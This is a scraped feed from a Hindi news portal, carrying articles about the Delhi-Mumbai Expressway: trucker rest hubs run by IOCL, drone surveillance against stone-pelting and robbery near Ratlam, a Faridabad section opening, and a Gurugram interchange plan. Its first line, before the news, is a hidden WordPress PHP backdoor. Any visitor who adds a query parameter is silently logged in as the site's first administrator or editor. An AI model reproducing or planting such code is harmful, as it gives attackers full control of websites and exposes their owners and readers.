// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Delhi-Mumbai Expressway – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 01 Jul 2025 03:38:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 NHAI ने पहली बार किसी एक्सप्रेसवे पर ट्रक चालकों की थकान, भूख, नींद और मरम्मत की जरूरतों को गंभीरता से लिया https://pratyushaashakinayikiran.com/?p=167659 Tue, 01 Jul 2025 03:38:00 +0000 https://pratyushaashakinayikiran.com/?p=167659 नई दिल्ली
 दिल्ली से मुंबई के बीच 1350 किलोमीटर लंबा 8-लेन एक्सप्रेसवे अब सिर्फ एक हाइवे नहीं, बल्कि ट्रक चालकों के लिए राहत की पटरी बन चुका है। भारतीय राष्ट्रीय राजमार्ग प्राधिकरण (NHAI) ने पहली बार किसी एक्सप्रेसवे पर ट्रक चालकों की थकान, भूख, नींद और मरम्मत की जरूरतों को गंभीरता से लिया है। इसी सोच के तहत इस हाईवे पर हर 25-30 किलोमीटर पर "वे-साइड अमेनिटी" हब बनाए गए हैं, जो पूरी तरह से ड्राइवर-केंद्रित हैं। एनएचएआई अधिकारियों का कहना है कि बीते वर्षों में सामने आया कि ज्यादातर सड़क हादसे उस समय होते हैं जब ड्राइवर नींद या थकान की स्थिति में होते हैं। खासकर ट्रक और भारी वाहनों से जुड़े हादसों में यह बात बार-बार सामने आई है।

दिल्ली एक्सप्रेस-वे से 172 किलोमीटर दूर अपना घर की क्षमता कुल 35 बिस्तर की है। ट्रक ड्राइवरों को इसके लिए अपना घर एप में जाकर ड्राइविंग लाइसेंस अपलोड करना होगा। इसके बाद अपना घर में ठहरने के घंटे, मोबाइल नंबर आदि दर्ज करना होगा। अपना घर के ड्रामेट्री में दो घंटे रुकने के लिए महज 56 रुपये देने होगा।

यदि ड्राइवर आठ घंटे रुकते हैं तो उनको 112 रुपये अदा करने होंगे। आठ घंटे से 24 घंटे के लिए 336 रुपये किराया देना होगा। राजस्थान में एनएचएआई के क्षेत्रीय अधिकारी (आरओ) प्रदीप अत्री ने बताया कि अपना घर में ट्रक ड्राइवरों के हिसाब से सुविधाएं मुहैया करायी गई है। उनके लिए किचन में खुद खाना पकाने की सुविधा होगी। इसके अलावा वह अपना घर के ढाबे में भी खाना खा सकेंगे। थाली के दाम महज 130 रुपये होगी। इसमें एक सब्जी, दाल, रोटी, चावल, सलाद, पापड़ व अचार दिया जाएगा। यह ढाबा पूरी तरह से शाकाहारी होगा। इसके अलावा पूड़ी-सब्जी, छोले-भटूरे, पराठा, दाल, सब्जी, चाट, समोसा, चाय, कोल्ड ड्रिंक आदि उपलब्ध होगी। अत्री ने बताया कि उपरोक्त अपना घर को इंडियन आयल कंपनी संचालित कर रही है।

वर्तमान में 50 लीटर पेट्रोल भरवाने पर ठहरना मुफ्त है। हालांकि, यह सेवा कुछ महीनों के लिए है। इसी प्रकार एक्सप्रेस-वे पर अन्य अपना घर सरकारी उपक्रमों व निजी कंपनियों की मदद से बनाए जाएंगे।

पर्यटकों के लिए विशेष व्यवस्था आरओ प्रदीप अत्री ने बताया कि दिल्ली-मुंबई एक्सप्रेस-वे पर पर्यटकों-सड़क यात्रियों के लिए अलग सुविधाएं है। यहां ब्रांडेड खानपान की व्यवस्था है। लेकिन मध्यम वर्ग के ट्रक ड्राइवरों के लिए विशेष रूप से 18 हेक्टेयर में अपना घर विश्राम गृहों को बनाया जा रहा है।

वर्तमान में एक्सप्रेस-वे पर चार अपना घर बनाए गए हैं। योजना है कि प्रत्येक 40 किलोमीटर की दूरी पर एक्सप्रेस-वे के दोनों ओर अपना घर बनाए जाएंगे। 

पुराने राष्ट्रीय राजमार्ग पर नहीं है सुविधा जानकारों का कहना है कि वर्तमान में पुराने राष्ट्रीय राजमार्ग पर ये सुविधाएं नहीं है। ट्रक ड्राइवर ढाबों अथवा क्षेत्रीय दुकानों में ठहरते व खाते हैं। यहां बेहतर सुविधाएं नहीं हैं। पूरा आराम व नींद नहीं मिलने के कारण ड्राइवर एकाग्रचित होकर ट्रक नहीं चला पाते हैं। सरकारी आंकड़ों के अनुसार, देश में 70 फीसदी सड़क दुर्घटनाएं ड्राइवरों के कारण होती हैं।

दिल्ली-मुंबई एक्सप्रेसवे पर एनएचएआई की पहल

आधिकारिक रिपोर्टों के अनुसार, एक्सप्रेसवे पर लगभग 21 ऐसे स्टेशन बनाए गए हैं। इनमें से चार वर्तमान में चालू हैं। इन स्टेशनों के निर्माण का उद्देश्य उन ड्राइवरों को सुरक्षा, आराम और विश्राम प्रदान करना है जो अक्सर रात में राजमार्गों पर यात्रा करते हैं।

राजमार्ग प्राधिकरण ने राजस्थान में दौसा के निकट ऐसी ही एक परिचालन सुविधा विकसित की, जिसका प्रबंधन इंडियन ऑयल कॉर्पोरेशन लिमिटेड (आईओसीएल) द्वारा किया गया और इसका उपयुक्त नाम “अपना घर” रखा गया।

अपने नाम के अनुरूप, यह स्टेशन कई सुविधाएं प्रदान करता है, जैसे ट्रक पार्किंग, सीसीटीवी निगरानी वाला परिसर, स्वच्छ शौचालय, स्नान क्षेत्र, स्वयं खाना बनाने वाली रसोई, एक ढाबा और मुफ्त वाई-फाई, जो केवल 112 रुपये में उपलब्ध है।

एनएचएआई पहल पर बिजनेस मैनेजर

एक आधिकारिक मीडिया आउटलेट से बात करते हुए, IOCL के बिजनेस मैनेजर राधा मोहन ने कहा, "पहले हमारे पास राजमार्गों पर 'स्वागत' आउटलेट थे जो शौचालय और भोजन जैसी बुनियादी सुविधाएँ प्रदान करते थे। अब, हमारे पास उनके उन्नत संस्करण हैं। हम अपने स्टेशन पर लाइव निगरानी के साथ एयर कंडीशनिंग, वाटर कूलर, वॉशिंग मशीन, स्वच्छ खुले स्नान क्षेत्र, स्वच्छ शौचालय, टीवी, मुफ़्त वाई-फाई और पार्किंग क्षेत्र में सीसीटीवी निगरानी की सुविधा दे रहे हैं।"

मोहन ने कहा, "अगर कोई ड्राइवर खाना नहीं बनाना चाहता है, तो हम उसे किफ़ायती दामों पर खाना भी देते हैं। 130 रुपये से कम में हमारे ढाबे पर पूरा खाना मिलता है। कोई भी ट्रक ड्राइवर यहाँ आकर आराम कर सकता है। हम जानते हैं कि वे लंबी दूरी तय करते हैं और थकान से पीड़ित होते हैं, जिससे दुर्घटनाओं का जोखिम बढ़ जाता है। इसलिए हमारा विचार राजमार्गों पर ऐसी सुविधाएँ प्रदान करना था जहाँ वे आराम कर सकें और सुरक्षित रूप से खुद को तरोताज़ा कर सकें।"

बिजनेस मैनेजर ने आगे बताया, "फिलहाल हमारे यहां 35 बेड उपलब्ध हैं और इनका शुल्क 112 रुपये है, जिसमें जीएसटी भी शामिल है। ड्राइवर 'अपना घर' ऐप का इस्तेमाल करके बुकिंग कर सकते हैं। अगर किसी को ऐप के बारे में नहीं पता है, तो हमारे पेट्रोल पंप कर्मचारी मदद करने के लिए प्रशिक्षित हैं। यहां तैनात हमारे मैनेजर भी ड्राइवरों को बुकिंग प्रक्रिया में मदद करते हैं। एक बार ऐप डाउनलोड और इस्तेमाल करने के बाद, ड्राइवरों को भविष्य की बुकिंग करने में कोई समस्या नहीं होती है। औसतन, लगभग 50-60 प्रतिशत बेड रोजाना बुक होते हैं, जिसका मतलब है कि बड़ी संख्या में ड्राइवर पहले से ही हर दिन इस सुविधा का इस्तेमाल कर रहे हैं।"

सुविधाजनक सेवाओं की एक श्रृंखला के साथ अच्छी तरह से सुसज्जित

आवश्यक सुविधाओं के अतिरिक्त, ये सड़क किनारे स्थित सुविधा स्टेशन ईंधन पंप, रेस्तरां और ढाबे जैसी समग्र यात्रा अनुभव को बढ़ाने के लिए सुविधाजनक सेवाओं की एक श्रृंखला से सुसज्जित हैं। 

यह पहल थकान से संबंधित दुर्घटनाओं को कम करने और भारत के गुमनाम राजमार्ग योद्धाओं, ट्रक ड्राइवरों के समग्र सम्मान में सुधार लाने में महत्वपूर्ण भूमिका निभाती है।

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दिल्ली-मुंबई एक्सप्रेस-वे पर यात्रियों की सुरक्षा के लिए पुलिस अलर्ट, ड्रोन से निगरानी शुरू की जाएगी, बदमाशों की पहचान होगी https://pratyushaashakinayikiran.com/?p=128063 Sun, 02 Feb 2025 09:09:00 +0000 https://pratyushaashakinayikiran.com/?p=128063 रतलाम
 दिल्ली-मुंबई एक्सप्रेस-वे के रतलाम जिले की सीमा में रावटी व शिवगढ़ थाना क्षेत्र के करीब 15 किलोमीटर क्षेत्र में आए दिन वाहनों पर पथराव व लूट की वारदातें होती रहती है। दो दिन पहले भी लुटेरों ने एक वाहन में सवार लोगों को लूटने का प्रयास किया था।

वाहन एक्सप्रेस-वे के गश्ती दल का होने से लुटेरे वारदात नहीं कर पाए। इसके पहले कई बार वाहनों पर पथराव की घटनाएं हो चुकी हैं। पुलिस ने हाईवे पर गश्त बढ़ा दी है। वहीं पथराव व लूट की वारदातों पर अंकुश लगाने तथा बदमाशों को पकड़ने के लिए ड्रोन कैमरों से निगरानी रखी जाएगी।

नाइट विजन के हाई क्वालिटी ड्रोन से होगी निगरानी

नेशनल हाईवे अथारिटी ऑफ इंडिया (एनएचएआई) ने दो ड्रोन खरीदने की स्वीकृत दी है। पुलिस एक-दो सप्ताह में नाइट विजन के हाई क्वालिटी के ड्रोन खरीदकर उनसे निगरानी शुरू करेगी। मंदसौर के बाद रतलाम होकर झाबुआ होते हुए दिल्ली-मुंबई एक्सप्रेस-वे मुंबई की तरफ जाता है।

15 किमी क्षेत्र में होती हैं पथराव और लूट की वारदातें

रतलाम जिले का करीब 90 किलोमीटर का एरिया आता है। मंदसौर व रतलाम एरिया का काम लगभग पूरा होने के साथ ही करीब डेढ़ वर्ष पहले इस पर आवागमन भी शुरू कर दिया गया है। जिले में रावटी व शिवगढ़ थाना क्षेत्र के करीब 15 किलोमीटर के एरिया में बदमाश पथराव व लूट की वारदातों को अंजाम देते हैं।

पुलिस की गश्त का नहीं दिखता असर

हाईवे पर कई बार वाहनों पर पथराव व लूट की वारदातें हो चुकी है। यात्रियों के सुरक्षा देने के लिए एनएचएआई के दल गश्त करते हैं। वहीं पुलिस भी गश्त करती हैं। गश्ती दल के आने के पहले या गश्त कर जाने के बाद बदमाश वाहनों पर पथराव कर वारदातें करते हैं।

सात लाख रुपये से खरीदे जाएंगे ड्रोन

रात के अंधेरे में वारदात कर बदमाश भाग जाते हैं। हर जगह सीसीटीवी कैमरे नहीं होने से कई बार बदमाशों की पहचान भी नहीं हो पाती है। इसलिए अब बदमाशों की पहचान करने के लिए ड्रोन की मदद ली जाएगी। जानकारी के अनुसार पुलिस करीब सात लाख रुपये की लागत से हाई क्वालिटी के दो ड्रोन खरीदेगी।

मोबाइल फोन पर भी देखे जा सकेंगे

ड्रोन उच्च क्वालिटी के होंगे तथा उनमें वीडियो-फोटो एचडी में ही बनेंगे। फोटो की क्वालिटी ऐसी होगी कि उनमें जमीन पर दिखने वाले व्यक्ति को नाइट विजन कैमरा झूम करके रात में भी स्पष्ट रूप से देखकर पहचाना जा सकेगा।

कैमरों की उच्च गुणवत्ता होने से उन्हें वाईफाई से जोड़कर अधिकारियों के मोबाइल फोन से कनेक्ट किया जाएगा तथा वे गतिविधियों को दो किलोमीटर तक की रेंज में देख सकेंगे। ड्रोन पुलिस कंट्रोल रूम से भी जोड़ा जाएगा। नाइट विजन कैमरों से निगरानी के लिए एक्सपर्ट को बुलाया जाएगा। वे स्थानीय पुलिस अधिकारियों व कर्मचारियों को प्रशिक्षण देंगे तथा कुछ समय उनके साथ रहेंगे।

नाइट विजन कैमरे से लैस होंगे

ड्रोन नाइट विजन कैमरे से लैस होंगे। वे ऊपर उड़ने के बावजूद जमीन पर होने वाली पत्थरबाजी के बदमाशों की गतिविधियों को थर्मल इमेज के जरिये कैप्चर कर लेंगे। वैसे ज्यादातर घटनाएं रावटी व शिवगढ थाना क्षेत्र के करीब 15 किलोमीटर क्षेत्र में होती हैं।

वहीं नामली व सैलाना थाना क्षेत्र के भी कुछ स्थानों पर लूट व मारपीट की घटनाएं हो चुकी हैं। पुलिस ने नामली के पास से लेकर झाबुआ जिले की सीमा तक सात स्थानों को चिह्नित किया है, जहां विशेष निगरानी की जाएगी।

पुलिस ने कानवाय शुरू किया

    कानवाय शुरू की, शीघ्र ड्रोन शुरू करेंगे एक्सप्रेस-वे पर वाहनों को एक स्थान से दूसरे स्थान तक छोड़ने के लिए कानवाय शुरू कर दी गई है। गश्त बढ़ाई गई है। जल्द ही ड्रोन से निगरानी भी शुरू की जाएगी। – राकेश खाखा, एएसपी

 

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दिल्ली-मुंबई एक्सप्रेस-वे पर इसी महीने फर्राटा भरेंगे वाहन, 24 किलोमीटर का हिस्सा तैयार https://pratyushaashakinayikiran.com/?p=94514 Wed, 06 Nov 2024 11:15:00 +0000 https://pratyushaashakinayikiran.com/?p=94514 फरीदाबाद
फरीदाबाद में बाईपास पर दिल्ली-मुंबई एक्सप्रेस-वे का मीठापुर से कैली इंटरचेंज तक 24 किलोमीटर का हिस्सा तैयार हो गया है। 12 नवंबर को इसे वाहनों के लिए खोला जा सकता है। इसके लिए कंस्ट्रक्शन कंपनी तैयारी में जुट गई है।

इसके बाद मीठापुर से ही लोग एक्सप्रेस-वे का प्रयोग कर पाएंगे। एक-दो दिन में कंपनी की ओर से एक्सप्रेस-वे को ट्रायल के लिए शुरू किया जाएगा, ताकि देखा जा सके कि कहां क्या कमी रह गई है।

बता दें कि जिले की सीमा में इस एक्सप्रेस-वे के निर्माण कार्य की डेडलाइन सितंबर थी, लेकिन यह पूरा नहीं हो सका। यह देश के सबसे लंबे एक्सप्रेस-वे में शुमार है। इसकी कुल लंबाई 1350 किलोमीटर है। इससे दिल्ली से मुंबई 12 घंटे में आना-जाना संभव हो सकेगा।

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दिल्ली-मुंबई एक्सप्रेस वे पर रतलाम बनेंगी 5 पुलिस चौकी, जाने क्या है कारण https://pratyushaashakinayikiran.com/?p=55009 Sat, 27 Jul 2024 18:26:00 +0000 https://pratyushaashakinayikiran.com/?p=55009 रतलाम
रतलाम जिले में दिल्ली-मुंबई एक्सप्रेस (एटलेन) पर खासतौर पर रावटी व शिवगढ़ थाना क्षेत्र में अज्ञात लोगों द्वारा वाहनों पर पथराव किया जा रहा है। पिछले एक साल में अनेक बार वाहनों पर पथराव किए गए।

एटलेन पर वाहनों व यात्रियों की सुरक्षा के लिए कोई ठोस इंतजाम नहीं है। इसके साथ ही मादक पदार्थों की तस्करी भी होने लगी है। अबपुख्ता सुरक्षा इंतजाम के लिए एक्सप्रेस वे पर जिले में पांच स्थानों पर पुलिस चौकियां बनाने का प्रस्ताव तैयार किया गया है, जो शासन को भेजा जाएगा।

एमपी में एक्सप्रेस वे का 224 किमी का हिस्सा

उल्लेखनीय है कि दिल्ली से मुंबई तक एक्सप्रेस-वे के मध्य प्रदेश के 224 किमी के हिस्से में करीब एक साल से आवागमन शुरू हो गया है। मंदसौर, रतलाम व झाबुआ जिले के लिए बड़ी संख्या में वाहन प्रतिदिन गुजर रहे है।

गत एक वर्ष में रावटी ब्रिज व शिवगढ़ के ग्राम बायडी तथा झाबुआ जिले से लगे क्षेत्रों में कई बार पथराव की घटनाएं हो चुकी है। एक फरवरी 2024 को पूर्व विेधायक दिलीप मकवाना के स्कार्पियों वाहन पर रावटी के समीप पथराव किया गया था, जिससे वे बाल-बाल बच गए थे।

13 व 14 जुलाई की दरमियानी रात भी कई वाहनों पर पथराव किया गया था, जिससे एक ट्राला व पांच कारों को नुकसान हुआ था। एक वाहन में सवार जितेंद्र पाटीदार निवासी ग्राम अमलेटा घायल हो गए थे। शिवगढ़ पुलिस ने अज्ञात बदमाशों पर प्रकरण दर्ज किया था, लेकिन पुलिस पथराव करने वालों का पता नहीं लगा पाई है।

पुलिसकर्मी 24 घंटे रहेंगे तैनात

एक्सप्रेस-वे पर अभी तक एक भी पुलिस चौकी नहीं है। इस कारण पथराव की घटना होने पर संबंधित थाने से पुलिस को घटना स्थल पहुंचने पर समय लगता है व कई थानों में स्टाफ की कमी के चलते पुलिस पर्याप्त पेट्रोलिंग भी नहीं कर पाती है।

एसपी राहुल कुमार लोढा के निर्देशन में रिंगनोद, जावरा औद्योगिक क्षेत्र, नामली, शिवगढ व रावटी थाना क्षेत्र में एक-एक पुलिस चौकी स्थापित करने का प्रस्ताव तैयार किया गया है।

एक्सप्रेस-वे पर पुलिस चौकी भवन बनाकर बल तैनात किया जाएगा। इससे वहां 24 घंटे पुलिस की उपलब्धता रहेगी और वाहन चालकों व यात्रियों को घटना-दुर्घटना होने पर तत्काल पुलिस की मदद मिलेगी।

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3 हाइवे दिल्ली-मुंबई एक्सप्रेसवे से कनेक्ट होंगे, 750 करोड़ का प्रोजेक्ट, अगले साल शुरू होगा काम https://pratyushaashakinayikiran.com/?p=52394 Thu, 18 Jul 2024 09:10:00 +0000 https://pratyushaashakinayikiran.com/?p=52394 गुरुग्राम
मुंबई एक्सप्रेसवे से तीन हाइवे कनेक्ट करने के जीएमडीए के प्लान पर सीएम की मंजूरी मिलने के बाद अब काम शुरू हो गया है। जीएमडीए के 750 करोड़ के इस अहम प्रॉजेक्ट के लिए हायर कंस्लटेंट इसी माह अपनी फिजिबिलिटी रिपोर्ट सबमिट करेगा। इस दौरान यह रिपोर्ट भी दी जाएगी कि वाटिका चौक पर बनने वाले क्लोवरलीफ के लिए कितनी जमीन की जरूरत होगी। इस प्रॉजेक्ट की 80 फीसदी से अधिक रकम जमीन खरीदने पर ही खर्च होगी। दावा किया जा रहा है कि इस साल के अंत तक इसके लिए टेंडर लगा दिए जाएंगे। 2025 की शुरुआत में इस पर काम शुरू होने की उम्मीद है। तीन हाइवे के अलावा दिल्ली-मुंबई एक्सप्रेसवे और द्वारका एक्सप्रेसवे भी आपस में जुड़ जाएंगे।

3 हाइवे और 2 एक्सप्रेसवे होंगे कनेक्ट
यह प्रॉजेक्ट शहर के लिए अहम होगा। इससे न केवल तीन हाइवे कनेक्ट होंगे बल्कि कमर्शल वीकल के लिए दिल्ली, फरीदाबाद, मेवात, मुंबई, गुजरात के लिए सीधे कनेक्टिविटी होगी। दिल्ली-जयपुर एनएच 48, गुरुग्राम-अलवर 248 और गुरुग्राम-महरौली 148ए सीधे आपस में जुड़ जाएंगे। ये तीनों हाइवे इसके बाद सीधे दिल्ली-मुंबई एक्सप्रेस से भी कनेक्ट होंगे। इसके अलावा एचएच 48 पर खैड़कीदौला के पास द्वारका एक्सप्रेस वे पर भी यह कनेक्ट होगा। इससे दिल्ली एयरपोर्ट, द्वारका, कुंडली, नरेला, बवाना, रोहणी सीधे इस इंटरचेंज से कनेक्ट हो जाएंगे। इसके अलावा इस प्रोजेक्ट से दिल्ली, गुड़गांव, राजस्थान, मेवात, गुजरात, हरियाणा, नारनौल और रेवाड़ी साइड के मुख्य मार्ग, नेशनल हाइवे ओर स्टेट हाइवे आपस में कनेक्ट हो जाएंगे। एचएच48 से दिल्ली की ओर जाने वाले वाहन खेड़कीदौला से एसपीआर से इस चौक पर आकर महरौली की ओर जा सकेंगे। जयपुर की ओर आने वाले वाहन सोहना, राजस्थान और मुंबई एक्सप्रेस वे के लिए खैड़कीदौला से ही यहां पर आ सकेंगे। इसके लिए राजीव चौक जाने की जरूरत नहीं होगी।

8 सेक्टर पर बनेंगे मुख्य जंक्शन
इस प्रॉजेक्ट के तहत वाटिका चौक पर इंटरचेंज होगा। इसके अलावा क्लोवरलीफ से आठ नए सेक्टर सीधे कनेक्ट होंगे। इन सेक्टरों में ही क्लेवर लीफ का जंक्शन होगा। इस प्रोजेक्ट के तहत सेक्टर 69, 70, 71, 72, 74, 74 ए और 75, 75ए पर मेजर जंक्शन बनेंगे। मई, 2022 में हुए सर्वे के अनुसार 2031 में इन जंक्शन की संख्या बढ़ानी होगी। दस हजार से अधिक हेवी व्हीकल यहां पर बढ़ेंगे।

6 मेन कैरिवेज की लेन और 6 लेन की होगी सर्विस लेन
इस प्रॉजेक्ट के तहत ट्रैफिक के लिए तीन- तीन लेन दोनों ओर मैन कैरिवेज के लिए हाेंगी। तीन- तीन लेन सर्विस लेन होंगी। तीन मीटर दोनों साइड फुटपाथ सर्विस रोड पर बनाए जाएंगे। ढाई मीटर का साइकिल ट्रैक दोनों ओर होगा। ग्रीन एरिया भी प्रोजेक्ट के तहत बनाया जाएगा।

इसी साल एनएचएआई से मिली है एनओसीइस प्रॉजेक्ट पर इसी साल 13 मई, 2024 को एनएचएआई एनओसी दे चुका है। प्रोजेक्ट पर करीब 750 करोड़ रुपये खर्च होंगे। इसमें से 620 करोड़ जमीन खरीद पर खर्च होंगे। जबकि 130 करोड़ के करीब क्लोवरलीफ बनाने पर खर्च होंगे। पिछले सप्ताह चंडीगढ़ में सीएम की अध्यक्षता में सीएम की मीटिंग में इस प्रोजेक्ट पर मुहर लग चुकी है। इसके लिए फंड ईडीसी, डवलपर्स, प्रदेश सरकार और केंद्र सरकार से एनएचएआई के माध्यम से मिलेगा। अधिकतर फंड जीएमडीए का ही होगा।

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